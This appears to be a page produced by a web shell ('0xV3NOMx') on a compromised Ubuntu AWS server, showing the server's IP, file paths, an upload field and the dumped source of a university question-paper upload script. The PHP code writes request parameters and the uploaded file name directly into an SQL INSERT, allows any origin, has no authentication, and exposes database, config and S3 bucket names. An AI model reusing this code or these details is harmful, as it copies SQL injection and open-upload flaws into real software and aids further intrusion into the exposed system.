0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.129.42.59


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/upload_qp.php

<?php

require_once(__DIR__."/../aws/aws-autoloader.php");
use Aws\S3\S3Client;
use Aws\S3\Exception\S3Exception;
header("Access-Control-Allow-Origin: *");
header('Content-Type: multipart/form-data');
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With, x-auth-origin, x-auth-token, x-auth-type");
$ds = DIRECTORY_SEPARATOR;
$date = date("dmYhis");
$file_resp = "";

include ("database.php");
$databse = "logisys3_comexam";

$get_data = "select * from dbname where ifnull(fdeleted,'') <> 'T'";

$result1=mysqli_query($conn, $get_data);
// $row =mysqli_fetch_assoc($result1);
// 
if (mysqli_num_rows($result1) > 0) 
{
    // output data of each row
    $dbnames = array();
    
    while($row = mysqli_fetch_assoc($result1)) 
    {
        $dbnames[$row['FUNIVCODE']] = $row['FDBNAME'];
        $univname = $row['FUNIVNAME'];
        
        $ffolder = $row['FFOLDER'];
    }
}

mysqli_close($conn);



$user = $_GET['univcode'];

$dbname = $dbnames[$user];

$year = $_GET['year'];
$examtype = $_GET['examtype'];
$examdate = $_GET['examdate'];

if($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { 
    die();
}

if (0 < $_FILES['file']['error']) {
    echo 'Error: ' . $_FILES['file']['error'] . '<br>';
    $file_resp = "Failed to upload file!";
} else {

  include("/var/www/config.php");
$servername = SERVERNAME;
$username   = USERNAME;
$password  = PASSWORD;
$databse = $dbname;

$conn_db = new  mysqli($servername,$username,$password,$databse);
if(!$conn_db) 
{
      die("Connection failed: " . mysqli_connect_error());
}
    $name = $_FILES['file']['name'];
    
    $name_split = explode("_", $name);
    $qpnum = $name_split[3];
    
    $qp_num = explode( ".",$qpnum);

    $qp_number = $qp_num[0];
   
    $FUNIVCODE = $name_split[0];
    
    $theCount = substr_count($name, '.') - 1; // count how many time the period occurs in the string
   
    $file_name = str_replace($_FILES['file']['name'], $name, $_FILES['file']['name']); 
   
	$path = realpath($_FILES['file']['tmp_name']);

    $s3 = S3Client::factory(
		array(
			'credentials' => array(
				'key' => IAM_KEY,
				'secret' => IAM_SECRET
			),
			'version' => "latest",
			'region'  => 'ap-south-1'
		)
	);

    $S3filepath = $file_name;
   
    $result = $s3->putObject(['Bucket' => 'university-question-paper', 'Key' => $S3filepath, 'SourceFile' => $path, 'ContentType' => $_FILES['file']['name']]);
    
    $get_data = "insert into qparc(fqpcode, ffilename, fyear, fexamtype, fexamdate, FUDPDDATE) 
                  values('$qp_number','$name','$year','$examtype','$examdate', now())";   
                  
                //   var_dump($get_data);die();
    $result1=mysqli_query($conn_db, $get_data);

      if($result) {
      $arr = "Uploaded Successfully";
      }else{
      $arr = "Upload Failed";
    }

    echo $arr;
    mysqli_close($conn);
}
?>